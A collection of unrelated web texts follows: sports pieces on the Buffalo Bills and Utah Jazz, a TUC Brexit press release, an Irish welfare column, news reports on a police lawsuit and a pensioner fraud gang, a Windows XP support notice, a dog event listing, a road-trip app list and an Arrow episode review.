We promise you're going to want to listen to Nate Geary's ridiculous Seagrams Bet!
Then we bring you our annual Training Camp Primer, asking and answering questions about the roster that a lot of Bills fans might be wondering as we close in on the 25th!
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Ryan Gates - @Ryan_wgr
Nate Geary - @Nategearywgr
@TalkingTanked - Twitter
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@therockpilereport on Instagram
[email protected] |
As we get ready to tip off the 2016-17 NBA season, there’s a buzz around Salt Lake City that hasn’t been here in five or six years, probably since the Jerry Sloan days. The community is really excited about the Jazz, and they have high expectations for the coming year.
So do we.
The start of the year is an important time period for every team. You’re trying to find your role. You’re trying to find different rotations, different lineups that you feel comfortable with. Because of the injury to my hand, we’re going to have to work through some adversity to figure that out, but I think it will give guys opportunities to be in new and different situations and roles. If you want to take steps forward, sometimes you have to put yourself in uncomfortable positions and just experience things.
Depth is key. You look at all the teams that go deep in the playoffs, and they’re all really, really deep teams. Without a doubt, this year’s team is the deepest team I’ve ever played on.
NEW ADDITIONS
Outside of my hand (which I’ll get to in a bit), we’re in a really good place as a team as we head into opening night. We were doing really well in training camp, and the presence of our three new veteran additions—Joe Johnson, Boris Diaw and George Hill—has been huge for us. They’ve been through it all. You can just tell on the court that they know to play the game in the way that only experienced players do. They have high basketball IQs, and you have confidence in them, in their performance and what they’re going to do.
Joe’s been really good from day one that he’s been with us. He’s a natural scorer. He’s proven that he’s been able to do that over the years. So I’ve really paid attention to him and how he’s able to score in different situations with different guys guarding him. It’s been fun to learn from him already, and I know I’m going to learn from him even more. But even in the short time he’s been with us—just watching him and the patience he plays with—he’s been a huge help for us. He’s almost like instant offense, so he’s really going to help us out.
Another thing you learn from Joe is just his professionalism, the mentality that he brings to practice every day. You don’t get to be 16 years in the league without being dedicated, and really taking care of your body, and all that good stuff. I’ve learned that from him as well, and he’s definitely a true professional. I’ve asked him about different players, different coverages, how he takes advantage of certain situations, and just how he’s able to still be performing the way he is at his age, with his experience, and his miles (because he has logged a lot of minutes in the NBA).
He’s definitely a great addition, and a lot of our guys can learn from him.
Boris is already helping out with our center, Rudy Gobert. He has a connection with him, and I’ve seen Rudy’s play pick up with Boris on the court, just being around and talking with him. Boris has a natural feel for the game. He’s a terrific passer, and he’s always in the right place at the right time. He does a lot of little things that don’t come up on the stats sheet, like setting screens, making a simple, extra pass, just different things like that, that just help your team win.
He’s also versatile. He can guard the five. He can guard point guards. Defensively, he’s going to be really good for us. He will be able to switch a lot of things. Offensively, he’s a big mismatch for a lot of people. He can shoot the three and step out, and he can also post up too. And because he’s such a good passer, he’s going to get us a lot of open shots this year.
So I love that about Boris. The little things that he does, those things are contagious. He’s also constantly teaching, telling people what they could have done, or things they could try differently. He’s got a wealth of basketball knowledge, and we’re happy that he can share that with us.
It’s been good having George on the team. We are both from Indianapolis, so I know him a little bit already. Indiana guys just know how to play basketball. I know he’s been brought up to play basketball the right way, and it’s been fun playing with him already. To have that initial relationship with your point guard is really good for developing chemistry.
George just makes things easier for everybody. He does a good job controlling and dictating the pace of the game. He is so long on defense, he’s very disruptive. He’s also another guy that’s been with winning teams and in a winning environment a lot. He also does little things that help the team out.
He’ll be good for our rotation. One of the benefits for our team is our versatility, and George is another guy who is very versatile because he’s a big point guard. He can play point or slide to the two. He can guard both point guards and twos. So he’s going to be another key for us, both offensively and defensively, another guy that adds depth at multiple positions.
LOOKING TO IMPROVE
While we’re excited about our three veteran additions, we’re also really excited about the younger players we have coming back. Dante Exum looks a lot better than he did his rookie year. He’s being a lot more aggressive already. He’s getting to the rim. He’s got a good frame, good size and good speed, so he can get to the paint pretty much whenever he wants. The next step for him will be the decision-making process—knowing what you do when you get in the paint—and that usually comes with experience, just playing in games over and over, and putting yourself in that situation.
The game is starting to be a little easier for him. You’ve got to give credit to him for working so hard last year. It’s tough to sit out during an extended period of time. The thing that I like about Dante is he’s got a good work ethic. He wants to learn and he wants to be a good player. That goes a long way, for sure, especially when it comes to rehab. He did everything that was asked of him to get back to where he is now: coming in every single day, doing his rehabilitation, doing his exercises, watching film, still coming to the games, cheering on teammates. That’s a hard thing to do when you’re out and you can’t play, to still be able to cheer on your teammates, and come to the games, and sit on the sidelines. That’s very tough to do mentally, so you’ve got to give him credit for doing that.
He’s going to have a really good year and I am excited for him. I think you will see a lot better player the second half of the season than he is now. This is still pretty much his second year, and he’s only 21 years old. He still has got a lot of growth.
Rodney Hood took a big step last year, and we’re looking for him to take another this year. With me out, he’s going to be asked to shoulder a big load early on in the season. For him, it’s learning when to break the offense and just say, “We need a bucket. Go get one.” Because there are times in the games where you’ve got to be able to stop another team’s run, and sometimes that is just taking it upon yourself and telling the team, “Give me the rock. Let me go do this.” That’s where he’s at right now, learning how and when to do that. Joe is going to be instrumental in helping Rodney (and helping me) out with those types of things.
Trey Lyles really worked on his game a lot over the summer, and his range has extended tremendously from when he was in college. He’s going to be able to really stretch the floor for us offensively. The sky is the limit for him. He’s 6’10”. He can put it on the floor. He can shoot it. He can pass it. He can do a lot of things. For Trey, the next thing is being just as versatile and as dangerous defensively. He’s a guy that should be able to guard ones through fives. So I’m looking for him to take a big step this year. I think he will.
Rudy looks really good so far in preseason. He’s catching a lot of balls in traffic and finishing things around the rim. For us, we need him to be the defensive guy that he is, one of the best rim protectors in the league. Offensively, we need him to roll hard, catch the ball, finish, make his free throws. So far, he has done that in preseason. He’s looked really good.
Derrick Favors is still battling with some stuff right now, but he looks good when he’s in practice. He’s also worked this summer on extending his range a little bit. It will be good to get him back out there on the court. Faves has always been a guy that leads by example. With me not out there on the court, the team is going to look to him for a little bit of a voice, somebody that they can look to on the court for a sense of calm and leadership. I think he’s ready for that.
HAND DOWN, MAN DOWN
I put a lot of work in this summer to get off to a good start for the season. So needless to say, injuring my hand was very frustrating.
We were in practice. I was playing defense on a teammate, and I think my hand got caught inside of him a little bit. My finger got caught on his elbow, and I remember looking down. I wasn’t really in much pain, but my ring finger was crooked. I knew that something was wrong.
So I immediately went over to the trainer, and he popped my knuckle back into place. I made a fist and opened up my hand again, and it popped right back out. As soon as it did that, he was just like, “All right. Let’s go.” We walked out the door, got an x-ray and found that I had broken and dislocated my left ring finger at the same time.
Basically, there’s nothing much you can do for it. You don’t want the finger to dislocate again, and the fact that it’s broken and dislocated kind of makes the injury a little bit worse. Right now, I’m supposed to wear a splint for a little while, and wait for the bone to heal. Then it’s just a waiting game. Everybody’s body heals differently.
Hopefully, mine heals pretty fast.
We’re really just going on a week-by-week basis. We’re going to be taking X-rays every week, continually doing rehab. I don’t want my finger to have any issues, so I’m constantly doing treatments on it every day, just taking it one step at a time.
It’s obviously disappointing. The night it happened, I had trouble sleeping and couldn’t stop thinking about it. But after that, I realized that sometimes, these things happen, and it’s just a minor obstacle for me. It gives me an opportunity to learn from the sidelines, to work on other parts of my body, and try to do whatever I can to get back as soon as possible, So that’s kind of what my mindset is.
My family—my wife, my father a little bit— and my agent, they all had really good things to say, and their conversations with me got my mind back on the right track. Johnnie Bryant, my assistant coach here at the Jazz, has also been really helpful so far. Everybody realizes that it’s not something what you want to have happen at the beginning of the year, but it’s not like I’m going to be out the whole season. I’m going to be back, and then it will be fine. It’s just a little obstacle that I can get over, a little challenge, a little adversity.
Even though I’m out, my role is to still be involved with the team as much as I can. I’m still going to practices, going to games, trying to have a place with the team and be there to support my teammates, first and foremost. Cheer them on. Root for them. It’s an opportunity for me to be more vocal from the sidelines, to help guys out, from things that I see when I’m the bench and I see it out on the floor, just because I can’t be out there playing. So I have a lot of other things that I can offer and for sure, hopefully, my voice is one of them.
My relationship with our coach, Quin Snyder, has continued to grow over the years, and although I’m not playing, there will still be an opportunity for us to discuss things that are happening on the court. Since I’ll be on the bench, I’ll be able to see maybe a little bit more of what he sees. So for sure, time to watch film, time to talk about what’s going on, and our relationship will probably be stronger by the end of the year. Watching the game from an up-top view will help me as a player. I think when you watch it, the game is a lot slower when you watch it than it is in person.
You can really see where the openings are, see what defenses are doing, and really just try to learn.
GREAT EXPECTATIONS
You’ve got to try to take positives with negatives, and even though my injury is a negative for me and for our team, I think we’ve got to try to take some positives out of it as well.
Right now, we’re going to have guys in there that maybe haven’t closed the game before, guys in there that are put in situations where they’re playing really important minutes. Later down the road, that will only help them out, and make them better players, and make our team better overall.
We expect to be really good defensively. We expect to be better than we were last season. We expect to make the playoffs this year.
We all realize that we haven’t really accomplished much. I mean, besides Joe Johnson—the only guy on the team that has ever been an All-Star—it’s not like guys have had all these results and have been super successful. We’ve all gotten better and better, and we’re all improving each year. Some media members are coming around and they think maybe this might be our year.
But for me, we still haven’t done anything. Nothing has changed. We have a lot to prove to people, and that’s the feeling across our team. We still have a long ways to go. |
Wages will be £38 a week lower and manufacturing will fall into steep decline if Britain votes to leave the EU, according to a new report – Better Off In: working people and the case for remaining in the EU – launched today by the TUC.
Speaking at an event to launch the report, as she unveils the TUC’s latest campaign poster, TUC General Secretary Frances O’Grady will set out the negative impact Brexit will have on wages, jobs, and rights at work.
The reports finds that by 2030 the average weekly wage will be £38 lower if Britain leaves the EU. And for many working people – whose wages have not yet recovered since the 2007 crash – this would be a high price to pay.
The report also finds that Brexit would have a particularly devastating impact on Britain’s manufacturing firms. The manufacturing sector would be hit seven times harder than the services sector because it currently exports so much to the EU.
The TUC says that jobs in manufacturing tend to be higher-skilled, higher-paid and more secure than service sector jobs. So Brexit would not only mean job losses, but a worsening of the quality of work available in the UK.
The report concludes that the best option for working people is to vote to remain in the EU.
On the need to change the debate, TUC General Secretary Frances O’Grady will say:
“To date, the debate about our membership of the EU has been dominated by business. But today I want to change the tone and set out why working people should vote to Remain.
“My message is simple. At a time of continuing hardship, Brexit would be a disaster for working people – for our wages, for our jobs and for our rights.”
On the threat to wages and jobs, Frances O’Grady will say:
“Working people will be £38 a week worse off if we leave.
“£38 a week may not be much for politicians like Boris Johnson – a man who described his £250,000 fee for a weekly newspaper column as “chicken feed”.
“But for millions of workers, it’s the difference between heating or eating, between struggling or saving, and between getting by or getting on.“
On the threat to jobs Frances O’Grady will say:
“What’s absolutely clear is that jobs would go. And not just any old jobs – we’d be losing high-pay, high-skill, high-productivity jobs.
“We’d lose manufacturing jobs that pay £100 a week more than service sector equivalents. These are good jobs in the regions outside of London that need them most.
“Our manufacturing sector, still battered and bruised by the recession, would be hit hard. And inequalities between regions would get even wider.
“That’s why leading firms such Airbus UK, BMW Mini and Ford have come out so strongly against Brexit.”
On the impact of Brexit on workers’ rights, Frances O’Grady will say:
“The EU underpins rights that not only make our working lives better, they make our lives better full stop.
“Pregnant women have the right to paid time off for medical appointments. Parents have the right to time off to look after a child who’s ill. Part-time and agency workers get equal treatment to give them decency and dignity rather than insecurity.
“Brexit would put all of these rights and more at risk. Brexit campaigner Priti Patel let the cat out of the bag when she told the Institute of Directors that leaving the EU would enable us to cut these regulations by half.
“And that’s why I’m warning people that their rights are on the ballot paper, and a vote to Remain is a vote to keep them.”
NOTES TO EDITORS:
- Speech, report launch and photoshoot: 9:30am, Wednesday 1 June, Coin Street Green Space, SE1 9PP, behind the National Theatre
· TUC General Secretary Frances O’Grady will launch a poster campaign in central London next Wednesday (1 June) aimed at persuading voters to remain part of the European Union.
· The event will coincide with new TUC research published today (Wednesday) on the impact of leaving the EU on weekly wages for the average British worker. A full advance copy of the report Better Off In: working people and the case for remaining in the EU embargoed for 00.01hrs, Wednesday 1 June can be found atwww.tuc.org.uk/sites/default/files/BetteroffIN.pdf
· Frances will be available for photographs and interviews with an ad van featuring the campaign artwork. This will take place at 9.30am at the Coin Street Green Space, SE1 9PP, behind the National Theatre.
· Frances will be joined at the event by car manufacturing workers, and will give a short speech on the dangers facing working people if there is a Brexit. This will be followed by a question and answer session.
· Journalists, photographers, film crews who would like to attend should contact the TUC press office on 020 7467 1248 or email [email protected].
- The TUC commissioned an independent legal opinion from Michael Ford QC on the consequences of Brexit for UK employment law and workers’ rights. A full copy can be found atwww.tuc.org.uk/sites/default/files/Brexit%20Legal%20Opinion.pdf. Based on past history and extant policy documents, Michael ford suggests the workers’ rights most vulnerable to repeal are:
· Collective consultation, including the right for workers’ representatives to be consulted if major changes are planned that will change people’s jobs or result in redundancies (as have been used in recent major announcements in the steel industry).
· Working time rules, including limits on working hours and rules on the amount of holiday pay a workers is entitled to.
· EU-derived health and safety regulations.
· Transfer of Undertakings (TUPE), i.e. the EU-derived protections to the terms and conditions of workers at an organisation or service that is transferred or outsourced to a new employer.
· Protections for agency workers and other ‘atypical’ workers, such as part-time workers.
· Current levels of compensation for discrimination of all kinds, including equal pay awards and age discrimination.
See paragraphs 3 and 107 of the opinion for an overview, and paragraphs 27 to 80 for full details.
- All TUC press releases can be found at www.tuc.org.uk
- Follow the TUC on Twitter: @The_TUC and follow the TUC press team @tucnews
Contacts:
Media enquiries:
Alex Rossiter T: 020 7467 1285 M: 07887 572130 E: [email protected]
Tim Nichols T: 020 7467 1388 M: 07808 761844 E: [email protected]
Michael Pidgeon T: 020 7467 1372 M: 07717 531150 E: [email protected] |
What is Dramatica?
Dramatica is an entirely new way of looking at story. Beyond simply a paradigm or sequence of cultural beats, Dramatica theorizes why stories exist and attempts to outline the processes and dramatic touchpoints needed to tell a successful and meaningful story.
Pretty heady stuff, right?
Really, Dramatica is not all that complicated. It sees the central character of a story--the Main Character--entering with a predetermined way of doing things. Along the way they develop a relationship with their polar opposite, someone who challenges their way of thinking. Ultimately, this relationship leads the Main Character towards adopting or rejecting this new way of seeing things. The result of their decision determines whether they were on the right path or the wrong path.
That's really it. Of course then you can get into Overall Story Prerequisites, Relationship Story Catalysts, and Problem-Solving Styles...but only if you really want to!
When it all comes down to it, Dramatica sees story as an argument. To provide the very best argument, you have to make sure you cover all your bases and address all the different perspectives. Dramatica can help with that. |
Join us for the 2nd Annual Beach Doggie Day!
-Saturday, September 8th. 11am to 2pm, rain or shine!
Cowabunga Beach, Turtle Bay and Thunder Bay will be open for your pup’s water enjoyment. We'll also have Wally World open for espeically for pups under 25lbs! Waves will run at various times for your pooches surfing enjoyment! Plenty of tennis balls available for fetching fun!
Souvenir doggie bandanas, t-shirts, beer, and snacks available for purchase! Buy a snack and get a free dog treat for your pup!
A portion of the admission proceeds will be donated to a local animal charity! The shelter can always use donated pet friendly items including Puzzle Feeders for dogs and cats Collars of all shapes and sizes Breakaway collars for kittens All types of new and used dog and cat toys New Cat Scratchers
Each pup is $9.99 and their human friends are FREE.
Splash Pass Guests, your pups may enter for $4.99 (must show 2018 Splash Pass when purchasing pup ticket).
Tickets available at Water World front entry day of event. To assure pup and human safety, a limited number of pups are admitted and the event may sell out!
Proof of current rabies vacination and waivers must be signed prior to ticket purchase. Want to save some time and get your pups in the water quicker? Print & complete the waiver before park arrival (click here).
Please note these important guidelines:
Pet parents are NOT permitted to swim or enter the water at any time (pups ONLY in the water). Proof of current rabies vacination is required for each dog upon entry. Dogs must be accompanied by responsible owners 18 years of age and older. Dogs must be on leash through park entry/ticketing and upon exit (and always have a leash available at other times). Dogs who fight will be asked to leave. Please pick up after your dogs, bags will be available. You are responsible for your dog(s)! To assure pup and human safety, a limited number of pups are admitted and the event may sell out!
See you and your pup on September 8th!
Are you a vendor with a dog/animal related business who is interested in having a space at this year's dog event? If so, please contact us! |
THERE ARE TRUTHS that we know to be self evident, yet persist in being outwardly shocked and surprised about.
Politicians tend to be corrupt. Bankers tend to be idiots. (And vice versa). And a fair enough proportion of social welfare gets spent on booze that retailers make sure to have their shelves stocked in time for red letter days, like the one that children’s allowance is disbursed.
This week brought a moral backlash against Centra for the promotional offers that coincided with that particular red letter day. We have seen an ongoing war on the vast majority of people who spend their welfare payments in a manner above reproach, and on the majority of us who enjoy alcohol sensibly. What we haven’t seen is very much of a focus on the delinquent individuals who spend money meant for children on alcohol, cigarettes and other afflictions.
The truth that such people exist is self evident, but as per usual it is everyone and everything else to blame without grasping the nettle.
If there isn’t already such a thing as an award for marketeers who inadvertently explode their simple little business onto the national stage for all the wrong reasons, it ought to be invented and given to the Centra franchise that decided combining alcohol, children and welfare on the one promotional leaflet would be a good idea.
We can all agree that advertising alcohol on a leaflet aimed at a social welfare day was in bad taste. But in so doing the Centra franchise at the heart of the matter was simply being a rational economic actor: If sales of a particular product spike around a specific event, stock up and put your best foot forward.
‘If there’s a heatwave, stock ice’
If there’s a hurricane coming, get batteries and flashlights. If there’s a heatwave, stock ice. And once a month, every month, stock up on nappies and booze. It’s such an open secret among retailers that its not a secret at all; that excluding holidays and special events the single most regular spike in alcohol sales comes on children’s allowance day.
That’s not Centra’s fault. Nor is it the fault of the great many recipients of the allowance who put it to the use it is intended. Neither is it the fault of the people too rich to actually need it, but who receive it anyway because our government is too inept to means test.
It is the fault of the individuals who make a conscious decision to go in and spend that cash on alcohol. The retailer can, in aggregate, see what sells particularly well on a particular day and make a judgement as to why it happened. They cannot, however, judge the provenience of the cash handed in by one consumer from another. Nor is it their role.
The government is ever fond of acting as an interfering nanny to us all, except it seems in controlling how welfare payments are spent. Welfare is, after all, designed with a specific purpose of ensuring nobody on this island should ever starve or go cold. This is an end that has very little to do with alcohol, cigarettes or trips abroad.
‘We shouldn’t be making it easy’
A great many people receiving welfare payments put it to good use. But the government could easily stamp out, or make more difficult, the misuse of hard earned money if it started issuing welfare payments on debit cards with certain restrictions.
I don’t think it would be unreasonable, for example, to expect that not a single red cent of children’s allowance be spent on beer or cigarettes. For sure there are those who could get around such a system by timing their shopping, but such individuals are likely to abuse any system to ensure they can sate whatever addictions they have. What we shouldn’t be doing is be making it easy for them.
We really do need to have a proper discussion in Ireland on what welfare is really meant for. There are those who believe that people should simply be handed cash, as today, and do with it as they please. On the other side, there are many fools who believe that life on welfare is lavish and misspent by most – a truth most evidently not true.
But in the middle I suspect are a great many people frustrated to see some – even a euro is too much – of what limited treasure we have to go round being squandered and added to the profits of Diageo, Philip Morris or the Westies.
Welfare is not free money to do whatever one likes with. It has a purpose, and achieving that end should be the goal of the disbursement method used to hand it out.
Aaron McKenna is a businessman and a columnist for TheJournal.ie. You can find out more about him at aaronmckenna.com or follow him on Twitter @aaronmckenna. |
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This story is by Mark Davis, staff writer at the Valley News, where it was first published Friday, April 19, 2013.
Hartford — A federal judge has dismissed a Wilder man’s claims that he was subjected to excessive force by Hartford police officers because he was black, saying there was insufficient evidence to support his contention that officers were motivated by racial bias.
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While much of Wayne Burwell’s lawsuit against Hartford police remains active, Judge Christina Reiss recently threw out his most incendiary allegations — that he had been discriminated against because of his “race and color.”
The judge said that Burwell, who was arrested inside his Wilder home after police responded to an erroneous report of a burglary, did not provide enough evidence that moved his claims “across the line from conceivable to plausible” — the claim was based on the assertion that police officers knew Burwell was black before deciding to handcuff him.
“Although a close question, no court has apparently held that mere knowledge of a person’s race, coupled with an arguable excessive response, will suffice,” Reiss wrote in an 11-page ruling issued this month in U.S. District Court in Rutland.
Burwell argued that the officers demonstrated “a clear intent to discriminate on the basis of race,” when they still proceeded to forcefully take him into custody “in a manner that defies a racially-neutral explanation,” even after officers were informed Burwell could be having a medical episode.
The town argued that Burwell’s assertion was mere speculation, supported by no hard evidence.
In an interview, Burwell’s attorney, Robin Curtiss, of Orford, said the ruling could be a temporary setback. The judge allowed Burwell to re-file the race-based claims if his lawyers find more evidence to support it.
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“We think, and have thought all along, that it’s pretty apparent that what happened had something to do with him being African-American,” Curtiss said. “If we can establish during discovery that race had anything to do with this, then we can bring it right back into the case.”
Burwell, a fitness trainer who owns a gym in Lebanon, declined to comment yesterday.
James Carroll, the attorney representing police officers Fredrick Peyton, Kristinnah Adams and Scott Moody, did not respond to a request for comment yesterday.
Hartford Police Deputy Chief Brad Vail declined to comment yesterday.
Burwell is seeking unspecified punitive and compensatory damages for several claims of wrongdoing allegedly committed by officers in May 2010, when a housekeeper who did not recognize Burwell found him naked and unresponsive and called 911 to report a possible burglary.
During the initial 911 call, housekeeper told the dispatcher, and dispatch then told the officers, that the housekeeper “had seen an African-American male in the home,” Reiss said.
The officers entered Burwell’s home with their guns drawn, and found Burwell, naked and unresponsive, sitting on the toilet. They did not know at the time that Burwell was essentially in a diabetic-coma — he had a medical condition that sometimes causes his blood sugar levels to plummet — and was only semi-conscious.
“Show your f—ing hands up or I’ll shoot you motherf—–,” Peyton told Burwell upon first entering the bathroom, according to a police audio recording of the encounter. “Put your hands up now,” the officer shouted. “Show me your f—ing hands.”
When Burwell failed to respond, officers showered him with pepper spray and beat him with a baton several times. He was transported to Dartmouth-Hitchcock Medical Center and suffered a cut on his wrist from handcuffs that required stitches to close.
Vermont Attorney General Bill Sorrell cleared the officers of criminal wrongdoing 2010. In July 2012, Burwell filed the lawsuit.
In October, the police asked Reiss to dismiss the racial bias claims.
Mark Davis can be reached at [email protected] or 603-727-3304. |
Roadtrips are a classic family activity. They are a great way for families to bond, see new sights with each other, and build memories. However, a long the way parents have to figure out how to keep their children from getting bored and frustrated from the many hours, and even days, on the road.
Fortunately, with the advancements in smartphones, kids can use technology to keep themselves occupied and entertained during the long hours on endless highways. So here are five roadtrip game apps that kids can enjoy. Due to the small size and portability of smartphones they make an ideal way for children to keep themselves amused during a road trip. And parents can enjoy some time of peace and quiet driving while their kids are occupied.
One: The Oregon Trail
The famous Oregon Trail was a popular computer game and now a popular smartphone app. This is a game that kids can play for hours, as they try to figure out how to survive the rugged Oregon terrain, and learn more about the struggles the early pioneers went through trying to conquer and make a home on new land. Kids can have fun strategizing and figuring out how to thrive on the land.
Two: Road Trip Scavenger Hunt
This is one of the most fun and appropriate games children can play during a roadtrip. Scavenger games have always been played without an app, but now it can be even more fun with the Road Trip Scavenger Hunt app. Parents don’t have to constantly think of things to spot. Instead the scavenger hunt app has over 100 things that families can try to spot together. Children can keep track of who’s leading, and even program if they want to look for objects or only words.
Three: Geography Drive USA
With Geography Drive USA children can actually learn useful information as well as having fun. The app allows children to play trivia games based on geography, landmarks, and history. It’s been noted that the average American doesn’t know enough about United States geography and history, so this app will help kids start to learn more, and parents might even learn a thing or two as well. There is also a fun game show theme to make the app seem less like a social studies class and more like entertainment.
Four: Mad Libs
The Mad Libs app calls itself the greatest word game. This is the type of word game that will inevitably bring out the silliest in people, which is a good thing during a long roadtrip. Each family member can take turns creating a silly story via fill in the blank and get a good laugh in the process. Children can also improve their vocabulary while playing this game.
Five: Stack The Countries
This game fully utilizes the interactive capabilities of a smartphone, by allowing the user to literally stack the countries while learning things about them like:
Geography
Capitals
Landmarks
Continents
Flags
Country Shapes
The challenge is to collect, or stack, all 193 countries for the children, which should keep them busy for an ample amount of time.
Roadtrip apps are able to combine classic games, trivia, and interactivity to help give parents new ways to keep their kids entertained during roadtrips. And while kids may not understand at the time how important roadtrips are to building family memories and bonds, they will be extremely grateful for the experiences when they reach adulthood. With apps like the Oregon Trails becoming available to younger generations, in a way older generations can now share with kids some of the nostalgia they have for computer games that they grew up playing also. |
they were never charged with terror offences
A lawyer today tried to use a letter from Jeremy Corbyn to keep a Muslim fraudster accused of funding Islamic State terrorism out of jail over Christmas.
The Labour leader wrote a letter on behalf of Mohamed Dahir, asking for him to be granted bail when he was first charged.
The plea from Mr Corbyn emerged as Dahir, 23, and three other fraudsters were found guilty of conning pensioners out of their life savings of almost £1million by posing as police officers. Five others pleaded guilty.
Labour leader Jeremy Corbyn wrote a letter on behalf of Mohamed Dahir (left), asking for him to be granted bail
Detectives believed that the gang ran a ‘bank of terror’ sending some of the money to Syria to support Islamic State, a court hearing was told in May.
Mr Corbyn originally sent the letter on behalf of Dahir, who is one of his Islington constituents, in May – four months before he became leader of the Labour Party.
He argued that Dahir had ‘roots in the area’ and was unlikely to abscond. The letter played a part in securing bail for him during the course of the trial.
But when Dahir’s barrister Patrick Harte attempted to use the letter again yesterday (Thu) to keep him on bail until sentencing, judge Anuja Dhir QC refused and remanded him in custody.
A photo of cash found on the mobile phone of another member of the gang. The money was never recovered
She said that now he had been found guilty there were significant grounds to believe he would fail to appear at his sentencing hearing next year.
The nine fraudsters are facing jail after conning the elderly out of £904,000 by pretending to be policemen investigating bank account scams.
The conmen told their victims their money was not safe in their accounts - and needed to be moved.
If any of them became suspicious they advised them to call their bank’s fraud department or ring 999. But the conmen kept the line open so the pensioners were actually speaking to one of the fraudsters.
Video footage shows another member of the gang, Achmed Abdulaziz Ahmed, going to the address of a victim in Dorset and then leaving with a package of money - the victim believed him to be a police officer
They preyed on the ‘frailty, vulnerability and isolation’ of pensioners with an average age of 83 and tricked them transferring their life savings into another account or into handing over cash.
The pensioners from Cornwall, Devon, Dorset, Bedfordshire, London and Kent thought they were talking to genuine policemen and willingly handed over their money for safekeeping.
Some were told they were helping an important undercover investigation and were ordered not to tell the bank clerk or local police officers in case they were part of the scam.
The gang, based in London, also played on family ties, allegedly claiming a victim’s grandchild had been caught up in the fraud and arrested and that cooperating with police was the only way they could help.
Pensioner William Goodall was even persuaded to cancel an important medical appointment so that he could help ‘police’ with their undercover operation.
Sakaria Aden (left) and Mohammed Abokar (right) were found guilty of conspiracy to commit fraud after a trial
Anrul Islam (left) and Makhzumi Abukar (right) admitted their roles in the fraud gang
Mohammed Youssfi (left) and Fahim Islam (right) were also found to have been part of the group
Pensioner Elizabeth Curtis, 71, from Helston in Cornwall, lost £130,000 and Michael Garratt, 70, from Weymouth in Dorset, was conned out of £113,000. Meanwhile an unnamed 94-year-old man from west London had £130,000 stolen.
Last night Scotland Yard’s counter-terrorism division described the scam as ‘one of the biggest courier fraud investigations carried out by British police’.
Commander Richard Walton said: ‘We uncovered this fraud after a separate terrorist investigation found suspicious payments into a bank account of an individual who is now believed to have travelled to Syria.
‘This callous group of criminals stole vast sums of money from extremely vulnerable and elderly people from across the country.
‘Their despicable actions have had a terrible and devastating impact on their victims with some losing their life savings.
‘The targeting of vulnerable men and women in their 80s and 90s is quite simply beyond belief.’
Commander Walton said the fraud was on a ‘huge national scale’ and involved 5,695 calls to 3,774 different phone numbers across the UK.
At least three of the conmen had attended London universities and some had experience in call centres which made them sound plausible on the telephone.
They often played background noises simulating bank call centres to make their calls appear genuine.
The Labour leader was visiting flood-hit homes in Cumbria when the case he intervened in came before court
At an earlier hearing at Westminster Magistrates’ Court, prosecutor Edward Aydin described it as financial terrorism ‘on an industrial scale’
He said the ‘sophisticated criminal network’ was ‘a threat to the national security of this country’.
Mr Aydin said: ‘Terrorism overall takes a new form in 2015 - it’s not on the battlefield. These people before you, they are the bank of terror. They are not small fry, they are deadly and dangerous.’
Dahir, Shakaria Aden, 21, Yasser Abukar, 23, and Mohammed Abokar, 28, were found guilty of conspiracy to commit fraud between May last year and May 2015. Ibrahim Farah, 23, was cleared of the same charge.
Mohammed Abokar was also convicted of converting criminal property.
Fahim Islam, 20, Achmed Abdulaziz Ahmed, 23, and Makzhumi Abukar, 23, previously pleaded guilty to conspiracy to defraud.
Anrul Islam, 24, and Mohammed Youssfi, 37, pleaded guilty to money laundering.
All nine will be sentenced next year.
Last night a Labour spokesman said Mr Corbyn had been approached by the constituent prior to the trial, and wrote a letter on his behalf as is standard for a constituency MP.
This was before the full facts of the case had emerged, and was on the basis that Mr Corbyn was informed the constituent needed to be at home with his children and would not abscond and could not travel abroad. |
Most people said goodbye to Windows XP a long time ago. But if, for whatever reason, you're still running the out-of-date operating system, you really need to upgrade. Microsoft on Tuesday finally stopped providing antimalware signatures for Windows XP.
PCs running Windows XP have not been truly protected for more than a year. Microsoft on April 8, 2014 officially ended support for XP, meaning it stopped rolling out security updates for the aging OS. At that time, Redmond also stopped letting those on Windows XP download its Security Essentials tool, which guards against viruses, spyware, and other malicious software.
The software giant did, however, throw a bone to XP users who already had Microsoft Security Essentials installed, promising to keep it updated for a "limited time" to give people some more time to transition to a newer and fully supported OS. That time has now come and gone.
On Tuesday, Microsoft officially stopped providing updates to Microsoft Security Essentials for XP. Worse yet, XP users can no longer use Microsoft's Malicious Software Removal tool, so if your PC gets infected with malware — and it probably will — you're on your own.
For the tech-savvy, this is a non-issue. You've said goodbye to XP, which first launched in 2001, and embraced a more modern OS, like Windows 7 or Windows 8.
Microsoft has been pleading with customers to upgrade to a new OS for years, so you can't say you weren't warned about this. If you're still on XP, perhaps now is a good time to finally upgrade. Windows 10 arrives on July 29. |
In a Laurel-centric episode, we get to see her expand her outings as the new Canary and learn an important lesson in regards to vigilantism: It ain’t easy.
Midnight City gave us an episode of superhero TV that we don’t really ever get to see very much, and that’s a new superhero really sort of sucking at their job. The impact is lessened, due to the huge contribution Ollie’s flashbacks have given us over the past few years, but it’s still an important one to see. Quite a few shows have stressed how difficult it is being a hero, but once that suit goes on, everything’s gravy. We got to see Laurel’s arm slashed, her eating shit on top of a van, and just all around sort of letting the bad guys get away. But then there was that pretty sweet move where she jumped out of a window onto a rope ladder and flew away in a helicopter. I rather liked that.
Her trouble adapting to the actual physicality only raises another concern I had about Roy’s training. I get that he had pretty specialized training from Oliver for months, and even if his excuse of years on the street were to back that up, the parkour he exhibited on last week’s Left Behind came from none of that training. So Roy’s transition from non-hero to hero, while fun to watch, is just another example of how once that mask goes on, a hero is good to go.
But all that aside, watching Laurel come out of that swirling pit of addiction last year (which just awful to watch; not because I felt for her, but it was just bad TV), to friend/ally to Oliver/Arrow, to her training with Ted Grant, and now finally to her assuming the role she was always destined to have has been one of my favorite parts of this year. She’s no longer the person just waiting for someone to break into her apartment, no longer the person blaming everyone else for her problems. She’s taken those problems, focused on an outlet for them and realized that compared to the cesspool that is the rest of Starling City, her problem as a single person is not that great. But if she can go out and help those who can’t protect themselves, night after night, she’s found a way to stop innocents from being hurt and found meaning for herself that she never really had before, especially after the murder of her sister.
